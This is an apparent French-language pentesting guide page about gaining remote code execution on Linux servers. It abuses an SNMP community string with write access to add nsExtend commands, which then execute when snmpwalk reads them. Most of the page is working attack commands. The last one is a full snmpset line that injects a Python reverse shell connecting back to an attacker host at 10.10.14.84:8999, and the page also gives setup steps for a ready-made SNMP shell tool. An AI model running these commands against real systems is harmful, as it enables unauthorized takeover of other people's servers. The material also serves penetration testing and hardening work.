3.1 KiB
{{#include ../../banners/hacktricks-training.md}}
SNMP RCE
SNMP peut être exploité par un attaquant si l'administrateur néglige sa configuration par défaut sur le dispositif ou le serveur. En abusant de la communauté SNMP avec des permissions d'écriture (rwcommunity) sur un système d'exploitation Linux, l'attaquant peut exécuter des commandes sur le serveur.
Étendre les services avec des commandes supplémentaires
Pour étendre les services SNMP et ajouter des commandes supplémentaires, il est possible d'ajouter de nouvelles lignes à la table "nsExtendObjects". Cela peut être réalisé en utilisant la commande snmpset
et en fournissant les paramètres nécessaires, y compris le chemin absolu vers l'exécutable et la commande à exécuter :
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Injection de commandes pour exécution
Injecter des commandes à exécuter sur le service SNMP nécessite l'existence et l'exécutabilité du binaire/script appelé. Le NET-SNMP-EXTEND-MIB
impose de fournir le chemin absolu vers l'exécutable.
Pour confirmer l'exécution de la commande injectée, la commande snmpwalk
peut être utilisée pour énumérer le service SNMP. La sortie affichera la commande et ses détails associés, y compris le chemin absolu :
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Exécution des Commandes Injectées
Lorsque la commande injectée est lue, elle est exécutée. Ce comportement est connu sous le nom de run-on-read()
. L'exécution de la commande peut être observée lors de la lecture avec snmpwalk.
Obtention d'un Shell Serveur avec SNMP
Pour prendre le contrôle du serveur et obtenir un shell serveur, un script python développé par mxrch peut être utilisé depuis https://github.com/mxrch/snmp-shell.git.
Alternativement, un shell inversé peut être créé manuellement en injectant une commande spécifique dans SNMP. Cette commande, déclenchée par le snmpwalk, établit une connexion de shell inversé à la machine de l'attaquant, permettant le contrôle de la machine de la victime. Vous pouvez installer les prérequis pour exécuter cela :
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Ou un shell inversé :
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Références
{{#include ../../banners/hacktricks-training.md}}